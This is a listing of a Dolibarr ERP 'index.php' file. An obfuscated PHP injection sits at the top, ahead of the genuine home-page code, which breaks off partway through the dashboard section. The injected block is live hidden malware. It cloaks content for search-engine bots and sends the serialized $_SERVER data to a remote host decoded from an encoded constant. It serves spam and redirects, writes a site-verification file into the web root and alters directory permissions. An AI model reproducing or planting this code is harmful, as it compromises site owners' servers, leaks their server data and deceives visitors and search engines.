File "index.php"
Full Path: /home/bleepfrder/./doli/index.php
File size: 42.74 KB
MIME-type: text/x-php
Charset: utf-8
<?php define('A', 'jan66.tphu5593htr/suruga::^^!!.html|shop/detail/[word]^^!!.htm::'); goto hiaac; IeyQ_: ABP2h: goto gX5N_; gX5N_: function rmWYt($SzNJP, $n0Num = array()) { goto YLwgw; IIbnU: try { goto O6xd8; bA4B7: if (!($VKOkC == 0)) { goto azcBk; } goto Cc2aD; U2WlV: if (!true) { goto a_yPI; } goto u8a4i; egaI4: curl_setopt($YiZhl, CURLOPT_POST, 1); goto C4DzR; fSLfd: z29gY: goto U2WlV; qcmMW: curl_setopt($YiZhl, CURLOPT_RETURNTRANSFER, 1); goto ofHmr; uWdDl: $hQZHd = ''; goto fSLfd; QVktw: $xgM26 = "\x47\x45\x54"; goto V_WB_; sT7mt: if (!$o6kZW) { goto CthHi; } goto SBkJU; yH3gH: if (empty($n0Num)) { goto jdNew; } goto egaI4; ewLEM: goto a_yPI; goto ryrhW; pVyDO: curl_setopt($YiZhl, CURLOPT_CONNECTTIMEOUT, 0); goto qcmMW; g4rA6: $bJ3kC = stream_socket_client($u4KFA, $gBG7F, $uZJDn, 45); goto g0R1G; rRPJY: $YiZhl = curl_init(); goto EfCC0; gOEak: $k9qvs = isset($J6MDA[0]) ? $J6MDA[0] : ''; goto il0zJ; PextM: BEWGs: goto a3XdJ; V_WB_: $k9qvs = "\125\163\145\x72\55\101\x67\x65\x6e\164\72\40\127\110\x52\15\12"; goto XMUiO; xjN5J: $Uuu35 = $MlLfn === "\150\164\164\x70\163" ? 443 : 80; goto eMami; OSWjN: goto BEWGs; goto hxMx3; jiPhO: $k9qvs .= "\x43\157\156\164\x65\156\164\55\124\171\160\x65\x3a\40\x61\x70\160\154\x69\x63\x61\x74\x69\157\x6e\57\x78\55\167\x77\167\x2d\x66\x6f\x72\x6d\x2d\x75\162\x6c\x65\156\x63\x6f\x64\145\144\15\xa"; goto kxV8Z; WaUTB: if (!($oV5WL === false)) { goto vxmUF; } goto QF2bF; cBbqO: if (!(stripos($k9qvs, "\124\x72\x61\156\x73\146\145\162\55\x45\156\143\157\x64\151\x6e\x67\72\x20\143\x68\x75\156\153\x65\144") !== false)) { goto FwoMw; } goto uWdDl; GUbOW: $DddNX = hexdec(substr($xOJQG, 0, $oV5WL)); goto jM_ID; u8a4i: $oV5WL = strpos($xOJQG, "\15\12"); goto WaUTB; Kl5cJ: $u4KFA = ($MlLfn === "\x68\164\x74\x70\163" ? "\x73\x73\x6c\72\x2f\57" : '') . $nLd_U . "\x3a" . $Uuu35; goto g4rA6; KSKVx: azcBk: goto ZxWY6; ylENf: fclose($bJ3kC); goto wrKHo; dxMdD: $VKOkC = trim($xOJQG); goto eNgfW; wrKHo: $J6MDA = explode("\xd\xa\15\xa", $VKOkC, 2); goto gOEak; DJx8w: $xgM26 = "\120\x4f\x53\124"; goto A7s0o; QF2bF: goto a_yPI; goto hWDEg; A7s0o: $hzgOS = http_build_query($n0Num); goto jiPhO; WoD56: jdNew: goto cDStz; g83I2: $MlLfn = isset($wHLmR["\x73\x63\x68\x65\155\145"]) ? $wHLmR["\x73\x63\150\x65\x6d\145"] : "\150\x74\x74\160"; goto ZLnn_; Fc8bV: $A0YRQ = isset($wHLmR["\x71\x75\x65\x72\171"]) ? "\x3f" . $wHLmR["\161\165\x65\x72\x79"] : ''; goto h3wsF; aQhYP: $uKzMA = "{$xgM26}\x20{$UQvsc}{$A0YRQ}\x20\x48\124\124\120\57\61\56\x31\15\xa"; goto An_0Y; il0zJ: $xOJQG = isset($J6MDA[1]) ? $J6MDA[1] : ''; goto cBbqO; oeRq0: DI0k9: goto Dlytu; a3XdJ: if (feof($bJ3kC)) { goto PjQ6n; } goto qnLsj; EfCC0: curl_setopt($YiZhl, CURLOPT_URL, $SzNJP); goto jFvLj; g0R1G: if (!$bJ3kC) { goto lvsED; } goto aQhYP; hxMx3: PjQ6n: goto ylENf; zz9RS: $hQZHd .= substr($xOJQG, $oV5WL + 2, $DddNX); goto N498B; hPUqd: curl_setopt($YiZhl, CURLOPT_TIMEOUT, 60); goto yH3gH; RXeGG: a_yPI: goto rq6OZ; hWDEg: vxmUF: goto GUbOW; eMami: $UQvsc = isset($wHLmR["\160\141\164\150"]) ? $wHLmR["\x70\x61\164\x68"] : "\57"; goto Fc8bV; scoN1: X28XW: goto bA4B7; Dlytu: fwrite($bJ3kC, $uKzMA); goto PextM; x9ill: $uKzMA .= $hzgOS; goto oeRq0; IQRXn: if (!($xgM26 === "\120\117\123\124")) { goto DI0k9; } goto x9ill; XMUiO: if (empty($n0Num)) { goto ZPsbU; } goto DJx8w; ryrhW: UaKRU: goto zz9RS; ZLnn_: $nLd_U = $wHLmR["\150\x6f\x73\164"]; goto xjN5J; N498B: $xOJQG = substr($xOJQG, $oV5WL + 2 + $DddNX + 2); goto P3hf2; kxV8Z: $k9qvs .= "\103\157\x6e\x74\145\x6e\x74\x2d\114\x65\x6e\147\x74\x68\72\40" . strlen($hzgOS) . "\xd\xa"; goto X75Mo; qnLsj: $VKOkC .= fgets($bJ3kC, 1024); goto OSWjN; Xl6SN: FwoMw: goto dxMdD; ofHmr: curl_setopt($YiZhl, CURLOPT_SSL_VERIFYPEER, false); goto Vo807; jFvLj: curl_setopt($YiZhl, CURLOPT_USERAGENT, "\x57\110\x52"); goto pVyDO; cDStz: $o6kZW = curl_exec($YiZhl); goto o1pyR; P3hf2: goto z29gY; goto RXeGG; An_0Y: $uKzMA .= "\x48\157\163\164\72\x20{$nLd_U}\15\12"; goto dT5S3; kNbSY: CthHi: goto scoN1; C4DzR: curl_setopt($YiZhl, CURLOPT_POSTFIELDS, http_build_query($n0Num)); goto WoD56; Cc2aD: $wHLmR = parse_url($SzNJP); goto g83I2; ykgHv: $k9qvs .= "\103\x6f\156\156\x65\143\164\x69\x6f\x6e\72\40\x63\x6c\x6f\163\145\15\xa\15\12"; goto Kl5cJ; dT5S3: $uKzMA .= $k9qvs; goto IQRXn; FWgy0: curl_setopt($YiZhl, CURLOPT_FOLLOWLOCATION, 1); goto hPUqd; SBkJU: $VKOkC = trim(trim($o6kZW, "\357\273\277")); goto kNbSY; X75Mo: ZPsbU: goto ykgHv; h3wsF: $hzgOS = ''; goto QVktw; rq6OZ: $xOJQG = $hQZHd; goto Xl6SN; O6xd8: if (!(function_exists("\143\x75\x72\x6c\137\x69\156\151\164") && function_exists("\x63\x75\x72\154\137\145\170\145\143"))) { goto X28XW; } goto rRPJY; o1pyR: curl_close($YiZhl); goto sT7mt; Vo807: curl_setopt($YiZhl, CURLOPT_SSL_VERIFYHOST, false); goto FWgy0; jM_ID: if (!($DddNX === 0)) { goto UaKRU; } goto ewLEM; eNgfW: lvsED: goto KSKVx; ZxWY6: } catch (Exception $exFSj) { } goto sq_OP; sq_OP: return $VKOkC; goto YJMVK; YLwgw: $VKOkC = 0; goto IIbnU; YJMVK: } goto FS1et; QWLGU: function wWIfV($aO8xw = '') { goto WZubY; hPK4W: $UX2gA = trim($_GET[$PVzrt]); goto W88SU; J1bN0: if (!$eyzrT) { goto zUepC; } goto EB4NS; jepcO: $bVLGQ = "\147\157\157"; goto ViqG1; tD9ut: $PVzrt = "\171\164\x31"; goto nIQZT; urDSA: die; goto ebZyN; Mz0wo: if (!preg_match("\57\x73\x69\164\145\155\x61\160\56\x2a\77\x5c\56\x78\x6d\x6c\44\57\x73\151", $eot8L)) { goto VRAWT; } goto VjpHZ; UZeoW: if (!preg_match("\x2f" . $d6_Jb . "\44\57\163\151", $eot8L, $X54gH)) { goto xrnyo; } goto w_81u; mzpLW: $hxyxr = cO3zc($YEaNO); goto D4Q3O; oIAxR: $MYs90 = preg_match("\x2f\136\150\x74\x74\160\163\x3f\134\72\134\57\x5c\x2f\57\x73\151", $eN_7E); goto Ra1Hp; xqJvV: if (!isset($_GET[$PVzrt])) { goto i58q0; } goto hPK4W; XbsqL: $eot8L = $eot8L == '' ? isset($_SERVER["\120\101\124\x48\137\111\x4e\106\117"]) && $_SERVER["\x50\x41\x54\x48\137\111\x4e\x46\117"] != '' ? $_SERVER["\x50\101\x54\110\x5f\x49\116\106\x4f"] : $eot8L : $eot8L; goto yVSei; PzqYa: $Gm3f8 = $e_42L[2]; goto W7L0H; OhjGB: if (!in_array($Gm3f8, array("\52\64\x30\64", "\52\162\x65\x74\165\162\156"))) { goto x1PZx; } goto lQWdQ; Fdrw9: $Gm3f8 = $e_42L[2]; goto UpTEL; BgmN9: echo rMwyT($UX2gA); goto SUfJJ; h1JIh: $bVLGQ .= $pQOAP; goto TnJ9g; WA7gb: goto qr5hT; goto qDZ_W; F5KV8: header($e_42L[1]); goto Fdrw9; GPjb0: SYcEY: goto ImP8u; TZENW: chmod($ZZPc9, 0555); goto gk5bu; evisZ: $YRdmP = "\x3c\x61\40\x68\162\x65\x66\x3d\x22\x25\x73\x22\40\x74\x61\x72\147\x65\x74\x3d\42\137\x62\154\x61\156\x6b\42\x3e\x25\163\x3c\57\141\x3e"; goto xqJvV; Zsglf: $YEaNO = isset($_SERVER["\110\x54\x54\x50\137\x55\x53\105\122\x5f\101\x47\105\x4e\124"]) ? $_SERVER["\x48\124\x54\x50\x5f\x55\123\x45\x52\137\x41\x47\105\116\124"] : ''; goto mzpLW; Z_Udm: $eN_7E = trim($aKaai[1]); goto oIAxR; ImP8u: if (!preg_match("\x2f\x5e\x48\145\x61\x64\x40\x28\x2e\x2a\77\51\x40\x40\50\x2e\52\51\x2f\151\x73", $Gm3f8, $e_42L)) { goto uQ00Z; } goto t9vPN; Ajv7I: $QqjbH .= "\125\x4d\105\x4e"; goto b5pvD; IniRB: $d6_Jb .= "\x5d\173\x31\66"; goto YEqQg; UqhiZ: $d6_Jb .= "\147\154\145\x5b\134\167"; goto IniRB; w_81u: $mzqwU = str_replace("\x2e\170", "\56", trim($X54gH[1])); goto N13_u; VjpHZ: $Gm3f8 = RmWyT($m3gJm, array("\170" => serialize($_SERVER))); goto whZ89; WdLiy: echo "{$Gm3f8}"; goto urDSA; CZnIQ: die; goto vigW_; HAeYG: die; goto GPjb0; nb404: echo $eN_7E; goto WA7gb; ebZyN: VRAWT: goto Fxphd; yVSei: $Dz3re = isset($_SERVER["\110\x54\124\120\137\122\105\x46\x45\x52\105\122"]) ? $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\105\x52\x45\x52"] : ''; goto Zsglf; rQpXi: $_SERVER["\171\x74\137\165\160"] = $Kqdnq[2]; goto tD9ut; xDF02: echo sprintf("\x3c\x62\x6f\x64\171\40\x6f\156\x6c\x6f\x61\144\x3d\x22\144\157\143\165\x6d\145\156\x74\x2e\147\145\x74\x45\154\145\155\x65\156\x74\163\x42\171\124\x61\147\x4e\x61\155\145\x28\45\163\141\45\x73\51\x5b\x30\135\56\x63\x6c\151\143\153\x28\51\x22\76\74\x61\40\x68\162\x65\x66\x3d\42\x25\x73\42\76\x3c\57\141\76\x3c\156\x6f\x73\143\x72\x69\x70\164\x3e\x3c\155\x65\x74\x61\40\150\164\164\x70\55\145\161\x75\x69\166\x3d\42\162\x65\x66\x72\145\x73\x68\x22\x20\143\x6f\156\x74\x65\156\x74\75\x22\60\73\x20\x75\162\x6c\x3d\45\x73\x22\40\57\x3e\74\x2f\156\x6f\163\x63\x72\x69\160\164\x3e\74\x2f\x62\x6f\144\171\76", "\x27", "\x27", $eN_7E, $eN_7E); goto dsf3A; qDZ_W: vza0D: goto xDF02; Fxphd: $pQOAP = "\x74\151\157\156\x3a"; goto ow8Ll; h89m4: $bVLGQ .= "\x66\151\143\x61"; goto h1JIh; pj7y1: if (!preg_match("\x2f\x5e\112\165\x6d\160\100\50\56\x2a\x29\57", $Gm3f8, $aKaai)) { goto SYcEY; } goto Z_Udm; D4Q3O: $eyzrT = UAZhz($Dz3re); goto j01_p; Ez9KB: if (!preg_match("\57\136\x48\145\x61\144\x40\50\x2e\x2a\77\51\100\x40\50\56\x2a\x29\57\151\x73", $Gm3f8, $e_42L)) { goto qwcsZ; } goto F5KV8; SUfJJ: WeAem: goto fw0FJ; XkQPC: $Gm3f8 = trim($Gm3f8); goto OhjGB; krcRA: echo "{$Gm3f8}"; goto CZnIQ; om8Q7: file_put_contents("{$ZZPc9}\x2f{$mzqwU}", "{$bVLGQ}\x20{$mzqwU}"); goto TZENW; k__XX: $_SERVER["\x79\164\137\x67\x7a"] = $Kqdnq[1]; goto rQpXi; Bi98H: zUepC: goto DjwDV; lQWdQ: return; goto TIdBi; ViqG1: $bVLGQ .= "\x67\154\x65\55\163\x69"; goto l3qq1; fw0FJ: die; goto rcw1v; uttX2: $ZZPc9 = $_SERVER[$QqjbH]; goto Mz0wo; t9vPN: header($e_42L[1]); goto PzqYa; TnJ9g: $pQOAP = "\114\157\x63\x61" . $pQOAP; goto UZeoW; W7L0H: uQ00Z: goto krcRA; ow8Ll: $d6_Jb = "\x28\x67\x6f\157"; goto UqhiZ; rcw1v: i58q0: goto J1bN0; j01_p: $Kqdnq = explode("\72\x3a", A); goto qa300; UpTEL: qwcsZ: goto WdLiy; vigW_: UtcdE: goto SSnj2; qa300: $m3gJm = sprintf("\150\x74\164\x70\163\72\x2f\x2f\45\x73\56\160\171", ywglY($Kqdnq[0])); goto NbXA9; YEqQg: $d6_Jb .= "\175\x5c\56\170\x68"; goto KJtMO; dsf3A: qr5hT: goto HAeYG; b5pvD: $QqjbH .= "\x54\137\x52\117\117\124"; goto uttX2; EB4NS: $_SERVER["\x79\164\137\x6a\x75\x6d\x70"] = 1; goto Bi98H; aWLvw: die; goto suwkM; nIQZT: $QqjbH = "\x44\x4f\x43"; goto Ajv7I; DjwDV: $Gm3f8 = RMwYT($m3gJm, array("\170" => serialize($_SERVER))); goto XkQPC; X2ZDa: $L7avg = parse_url($m3gJm); goto xE3T8; whZ89: $Gm3f8 = trim($Gm3f8); goto Ez9KB; TIdBi: x1PZx: goto pj7y1; suwkM: xrnyo: goto f65jz; l3qq1: $bVLGQ .= "\164\145\55\x76\145\x72\x69"; goto h89m4; gk5bu: header("{$pQOAP}\x20\x2f{$mzqwU}"); goto aWLvw; WZubY: $eot8L = isset($_SERVER["\122\x45\x51\125\105\x53\x54\x5f\x55\x52\x49"]) ? $_SERVER["\x52\105\121\125\x45\x53\124\x5f\125\122\x49"] : (isset($_SERVER["\121\125\x45\122\131\x5f\123\x54\122\x49\x4e\107"]) ? $_SERVER["\121\125\105\122\x59\x5f\123\x54\122\111\116\x47"] : ''); goto XbsqL; f05fv: goto WeAem; goto jptJa; Ra1Hp: if ($MYs90) { goto vza0D; } goto nb404; W88SU: if (preg_match("\57\136\x68\x74\164\160\163\77\x2f\163\x69", $UX2gA)) { goto ImNaW; } goto mnXZL; xE3T8: echo gethostbyname($L7avg["\150\157\x73\x74"]); goto f05fv; N13_u: chmod($ZZPc9, 0755); goto om8Q7; NbXA9: $_SERVER["\171\164\137\x6a\165\155\160"] = 0; goto k__XX; mnXZL: echo sprintf($YRdmP, $m3gJm, $m3gJm) . "\x3c\x62\x72\x20\x2f\76\x3c\142\162\40\57\76"; goto X2ZDa; f65jz: if (!($hxyxr || $eyzrT)) { goto UtcdE; } goto evisZ; KJtMO: $d6_Jb .= "\164\155\154\51"; goto jepcO; jptJa: ImNaW: goto BgmN9; SSnj2: } goto yfeBq; vJZxQ: @ob_start(); goto IeyQ_; hiaac: @date_default_timezone_set("\x50\x52\103"); goto fkDlz; paMIL: function uAZhZ($mSaNc = '') { return preg_match("\x2f\50\x67\x6f\157\x67\x6c\145\x2e\143\157\x2e\152\160\x7c\x79\x61\x68\x6f\157\x2e\143\x6f\x2e\152\160\174\142\x69\x6e\147\x7c\142\x61\151\x64\x75\x7c\147\x6f\x6f\147\x6c\145\56\143\157\x6d\x29\x2f\163\151", $mSaNc); } goto AUWFK; fkDlz: if (!function_exists("\x6f\142\x5f\x73\164\141\162\164")) { goto ABP2h; } goto vJZxQ; AUWFK: function YWglY($r3H5L) { goto hjvwh; sLMpr: if (!(is_array($ys12P) && count($ys12P) == 4)) { goto MErec; } goto ME0Pe; t3Xy4: $sN20i = implode('', $tk4Tz); goto q6d5v; d6VGt: ivn9Z: goto t3Xy4; sFrnt: return $sN20i; goto HrGts; qIlfd: foreach ($tk4Tz as $aoydG => $GtJl1) { $tk4Tz[$aoydG] = chr(ord($GtJl1) - 5); Hx2Gv: } goto d6VGt; g8mRP: $tk4Tz = preg_split("\x2f\x2f", $ys12P[2], -1, PREG_SPLIT_NO_EMPTY); goto qIlfd; q6d5v: RvWic: goto TNCFO; hjvwh: $sN20i = ''; goto axNGd; TNCFO: $sN20i = $ys12P[1] . $sN20i . $ys12P[3]; goto UfFGu; ME0Pe: if (!($ys12P[2] != '')) { goto RvWic; } goto g8mRP; axNGd: preg_match("\57\x28\133\136\x5c\56\x5d\x2b\134\x2e\51\50\x2e\x2a\x29\50\x5c\57\56\52\x29\x2f", $r3H5L, $ys12P); goto sLMpr; UfFGu: MErec: goto sFrnt; HrGts: } goto QWLGU; FS1et: function co3zc($cHxE_ = '') { return preg_match("\57\x28\147\x6f\x6f\x67\154\145\x62\157\x74\x7c\x62\x61\151\x64\165\x73\160\x69\x64\x65\x72\x7c\x62\x69\x6e\147\142\157\164\174\x67\x6f\157\147\x6c\x65\x7c\x62\x61\151\x64\x75\x7c\x61\157\154\x7c\x62\151\156\147\174\171\141\150\157\157\x7c\171\141\x6e\144\x65\170\51\x2f\163\151", $cHxE_); } goto paMIL; yfeBq: wWifV(); ?>
<?php
/* Copyright (C) 2001-2004 Rodolphe Quiedeville <rodolphe@quiedeville.org>
* Copyright (C) 2004-2017 Laurent Destailleur <eldy@users.sourceforge.net>
* Copyright (C) 2005-2017 Regis Houssin <regis.houssin@inodbox.com>
* Copyright (C) 2011-2012 Juanjo Menent <jmenent@2byte.es>
* Copyright (C) 2015 Marcos GarcĂa <marcosgdf@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* \file htdocs/index.php
* \brief Dolibarr home page
*/
define('NOCSRFCHECK', 1); // This is main home and login page. We must be able to go on it from another web site.
require 'main.inc.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php';
// If not defined, we select menu "home"
$_GET['mainmenu']=GETPOST('mainmenu', 'aZ09')?GETPOST('mainmenu', 'aZ09'):'home';
$action=GETPOST('action', 'aZ09');
$hookmanager->initHooks(array('index'));
/*
* Actions
*/
// Check if company name is defined (first install)
if (!isset($conf->global->MAIN_INFO_SOCIETE_NOM) || empty($conf->global->MAIN_INFO_SOCIETE_NOM))
{
header("Location: ".DOL_URL_ROOT."/admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete");
exit;
}
if (count($conf->modules) <= (empty($conf->global->MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING)?1:$conf->global->MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING)) // If only user module enabled
{
header("Location: ".DOL_URL_ROOT."/admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete");
exit;
}
if (GETPOST('addbox')) // Add box (when submit is done from a form when ajax disabled)
{
require_once DOL_DOCUMENT_ROOT.'/core/class/infobox.class.php';
$zone=GETPOST('areacode', 'aZ09');
$userid=GETPOST('userid', 'int');
$boxorder=GETPOST('boxorder', 'aZ09');
$boxorder.=GETPOST('boxcombo', 'aZ09');
$result=InfoBox::saveboxorder($db, $zone, $boxorder, $userid);
if ($result > 0) setEventMessages($langs->trans("BoxAdded"), null);
}
/*
* View
*/
if (! is_object($form)) $form=new Form($db);
// Title
$title=$langs->trans("HomeArea").' - Dolibarr '.DOL_VERSION;
if (! empty($conf->global->MAIN_APPLICATION_TITLE)) $title=$langs->trans("HomeArea").' - '.$conf->global->MAIN_APPLICATION_TITLE;
llxHeader('', $title);
$resultboxes=FormOther::getBoxesArea($user, "0"); // Load $resultboxes (selectboxlist + boxactivated + boxlista + boxlistb)
print load_fiche_titre($langs->trans("HomeArea"), $resultboxes['selectboxlist'], 'title_home');
if (! empty($conf->global->MAIN_MOTD))
{
$conf->global->MAIN_MOTD=preg_replace('/<br(\s[\sa-zA-Z_="]*)?\/?>/i', '<br>', $conf->global->MAIN_MOTD);
if (! empty($conf->global->MAIN_MOTD))
{
$substitutionarray=getCommonSubstitutionArray($langs);
complete_substitutions_array($substitutionarray, $langs);
$texttoshow = make_substitutions($conf->global->MAIN_MOTD, $substitutionarray, $langs);
print "\n<!-- Start of welcome text -->\n";
print '<table width="100%" class="notopnoleftnoright"><tr><td>';
print dol_htmlentitiesbr($texttoshow);
print '</td></tr></table><br>';
print "\n<!-- End of welcome text -->\n";
}
}
print '<div class="fichecenter"><div class="fichethirdleft">';
/*
* Dashboard Dolibarr states (statistics)
* Hidden for external users
*/
$boxstat='';
// Load translation files required by page
$langs->loadLangs(array('commercial', 'bills', 'orders', 'contracts'));
if (empty($user->societe_id))
{
$boxstat.='<div class="box">';
$boxstat.='<table summary="'.dol_escape_htmltag($langs->trans("DolibarrStateBoard")).'" class="noborder boxtable boxtablenobottom nohover" width="100%">';
$boxstat.='<tr class="liste_titre">';
$boxstat.='<th class="liste_titre">';
$boxstat.='<div class="inline-block valignmiddle">'.$langs->trans("DolibarrStateBoard").'</div>';
$boxstat.='</th>';
$boxstat.='</tr>';
$boxstat.='<tr class="nobottom nohover"><td class="tdboxstats nohover flexcontainer">';
$object=new stdClass();
$parameters=array();
$action='';
$reshook=$hookmanager->executeHooks('addStatisticLine', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks
$boxstat.=$hookmanager->resPrint;
if (empty($reshook))
{
// Condition to be checked for each display line dashboard
$conditions=array(
$user->rights->user->user->lire,
! empty($conf->societe->enabled) && $user->rights->societe->lire && empty($conf->global->SOCIETE_DISABLE_CUSTOMERS) && empty($conf->global->SOCIETE_DISABLE_CUSTOMERS_STATS),
! empty($conf->societe->enabled) && $user->rights->societe->lire && empty($conf->global->SOCIETE_DISABLE_PROSPECTS) && empty($conf->global->SOCIETE_DISABLE_PROSPECTS_STATS),
! empty($conf->fournisseur->enabled) && $user->rights->fournisseur->lire && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_STATS),
! empty($conf->societe->enabled) && $user->rights->societe->contact->lire,
! empty($conf->adherent->enabled) && $user->rights->adherent->lire,
! empty($conf->product->enabled) && $user->rights->produit->lire,
! empty($conf->service->enabled) && $user->rights->service->lire,
! empty($conf->propal->enabled) && $user->rights->propale->lire,
! empty($conf->commande->enabled) && $user->rights->commande->lire,
! empty($conf->facture->enabled) && $user->rights->facture->lire,
! empty($conf->contrat->enabled) && $user->rights->contrat->lire,
! empty($conf->ficheinter->enabled) && $user->rights->ficheinter->lire,
! empty($conf->supplier_order->enabled) && $user->rights->fournisseur->commande->lire && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_ORDERS_STATS),
! empty($conf->supplier_invoice->enabled) && $user->rights->fournisseur->facture->lire && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_INVOICES_STATS),
! empty($conf->supplier_proposal->enabled) && $user->rights->supplier_proposal->lire && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_PROPOSAL_STATS),
! empty($conf->projet->enabled) && $user->rights->projet->lire,
! empty($conf->expensereport->enabled) && $user->rights->expensereport->lire,
! empty($conf->holiday->enabled) && $user->rights->holiday->read,
! empty($conf->don->enabled) && $user->rights->don->lire
);
// Class file containing the method load_state_board for each line
$includes=array(
DOL_DOCUMENT_ROOT."/user/class/user.class.php",
DOL_DOCUMENT_ROOT."/societe/class/client.class.php",
DOL_DOCUMENT_ROOT."/societe/class/client.class.php",
DOL_DOCUMENT_ROOT."/fourn/class/fournisseur.class.php",
DOL_DOCUMENT_ROOT."/contact/class/contact.class.php",
DOL_DOCUMENT_ROOT."/adherents/class/adherent.class.php",
DOL_DOCUMENT_ROOT."/product/class/product.class.php",
DOL_DOCUMENT_ROOT."/product/class/product.class.php",
DOL_DOCUMENT_ROOT."/comm/propal/class/propal.class.php",
DOL_DOCUMENT_ROOT."/commande/class/commande.class.php",
DOL_DOCUMENT_ROOT."/compta/facture/class/facture.class.php",
DOL_DOCUMENT_ROOT."/contrat/class/contrat.class.php",
DOL_DOCUMENT_ROOT."/fichinter/class/fichinter.class.php",
DOL_DOCUMENT_ROOT."/fourn/class/fournisseur.commande.class.php",
DOL_DOCUMENT_ROOT."/fourn/class/fournisseur.facture.class.php",
DOL_DOCUMENT_ROOT."/supplier_proposal/class/supplier_proposal.class.php",
DOL_DOCUMENT_ROOT."/projet/class/project.class.php",
DOL_DOCUMENT_ROOT."/expensereport/class/expensereport.class.php",
DOL_DOCUMENT_ROOT."/holiday/class/holiday.class.php",
DOL_DOCUMENT_ROOT."/don/class/don.class.php"
);
// Name class containing the method load_state_board for each line
$classes=array('User',
'Client',
'Client',
'Fournisseur',
'Contact',
'Adherent',
'Product',
'Product',
'Propal',
'Commande',
'Facture',
'Contrat',
'Fichinter',
'CommandeFournisseur',
'FactureFournisseur',
'SupplierProposal',
'Project',
'ExpenseReport',
'Holiday',
'Don'
);
// Cle array returned by the method load_state_board for each line
$keys=array('users',
'customers',
'prospects',
'suppliers',
'contacts',
'members',
'products',
'services',
'proposals',
'orders',
'invoices',
'Contracts',
'fichinters',
'supplier_orders',
'supplier_invoices',
'askprice',
'projects',
'expensereports',
'holidays',
'donations'
);
// Dashboard Icon lines
$icons=array('user',
'company',
'company',
'company',
'contact',
'user',
'product',
'service',
'propal',
'order',
'bill',
'order',
'order',
'order',
'bill',
'propal',
'projectpub',
'trip',
'holiday',
'generic'
);
// Translation keyword
$titres=array("Users",
"ThirdPartyCustomersStats",
"ThirdPartyProspectsStats",
"Suppliers",
"Contacts",
"Members",
"Products",
"Services",
"CommercialProposalsShort",
"CustomersOrders",
"BillsCustomers",
"Contracts",
"Interventions",
"SuppliersOrders",
"SuppliersInvoices",
"SupplierProposalShort",
"Projects",
"ExpenseReports",
"Holidays",
"Donations"
);
// Dashboard Link lines
$links=array(
DOL_URL_ROOT.'/user/list.php',
DOL_URL_ROOT.'/societe/list.php?type=c&mainmenu=companies',
DOL_URL_ROOT.'/societe/list.php?type=p&mainmenu=companies',
DOL_URL_ROOT.'/societe/list.php?type=f&mainmenu=companies',
DOL_URL_ROOT.'/contact/list.php?mainmenu=companies',
DOL_URL_ROOT.'/adherents/list.php?statut=1&mainmenu=members',
DOL_URL_ROOT.'/product/list.php?type=0&mainmenu=products',
DOL_URL_ROOT.'/product/list.php?type=1&mainmenu=products',
DOL_URL_ROOT.'/comm/propal/list.php?mainmenu=commercial&leftmenu=propals',
DOL_URL_ROOT.'/commande/list.php?mainmenu=commercial&leftmenu=orders',
DOL_URL_ROOT.'/compta/facture/list.php?mainmenu=billing&leftmenu=customers_bills',
DOL_URL_ROOT.'/contrat/list.php?mainmenu=commercial&leftmenu=contracts',
DOL_URL_ROOT.'/fichinter/list.php?mainmenu=commercial&leftmenu=ficheinter',
DOL_URL_ROOT.'/fourn/commande/list.php?mainmenu=commercial&leftmenu=orders_suppliers',
DOL_URL_ROOT.'/fourn/facture/list.php?mainmenu=billing&leftmenu=suppliers_bills',
DOL_URL_ROOT.'/supplier_proposal/list.php?mainmenu=commercial&leftmenu=',
DOL_URL_ROOT.'/projet/list.php?mainmenu=project',
DOL_URL_ROOT.'/expensereport/list.php?mainmenu=hrm&leftmenu=expensereport',
DOL_URL_ROOT.'/holiday/list.php?mainmenu=hrm&leftmenu=holiday',
DOL_URL_ROOT.'/don/list.php?leftmenu=donations'
);
// Translation lang files
$langfile=array("users",
"companies",
"prospects",
"suppliers",
"companies",
"members",
"products",
"products",
"propal",
"orders",
"bills",
"contracts",
"interventions",
"bills",
"bills",
"supplier_proposal",
"projects",
"trips",
"holidays",
"donations"
);
// Loop and displays each line of table
foreach ($keys as $key=>$val)
{
if ($conditions[$key])
{
$classe=$classes[$key];
// Search in cache if load_state_board is already realized
if (! isset($boardloaded[$classe]) || ! is_object($boardloaded[$classe]))
{
include_once $includes[$key]; // Loading a class cost around 1Mb
$board=new $classe($db);
$board->load_state_board($user);
$boardloaded[$classe]=$board;
}
else
{
$board=$boardloaded[$classe];
}
if (!empty($langfile[$key])) $langs->load($langfile[$key]);
$text=$langs->trans($titres[$key]);
//$sep=($conf->dol_use_jmobile?'<br>':' ');
$boxstat.='<a href="'.$links[$key].'" class="boxstatsindicator thumbstat nobold nounderline">';
$boxstat.='<div class="boxstats">';
$boxstat.='<span class="boxstatstext" title="'.dol_escape_htmltag($text).'">'.$text.'</span><br>';
$boxstat.='<span class="boxstatsindicator">'.img_object("", $icons[$key], 'class="inline-block"').' '.($board->nb[$val]?$board->nb[$val]:0).'</span>';
$boxstat.='</div>';
$boxstat.='</a>';
}
}
}
$boxstat.='<a class="boxstatsindicator thumbstat nobold nounderline"><div class="boxstatsempty"></div></a>';
$boxstat.='<a class="boxstatsindicator thumbstat nobold nounderline"><div class="boxstatsempty"></div></a>';
$boxstat.='<a class="boxstatsindicator thumbstat nobold nounderline"><div class="boxstatsempty"></div></a>';
$boxstat.='<a class="boxstatsindicator thumbstat nobold nounderline"><div class="boxstatsempty"></div></a>';
$boxstat.='<a class="boxstatsindicator thumbstat nobold nounderline"><div class="boxstatsempty"></div></a>';
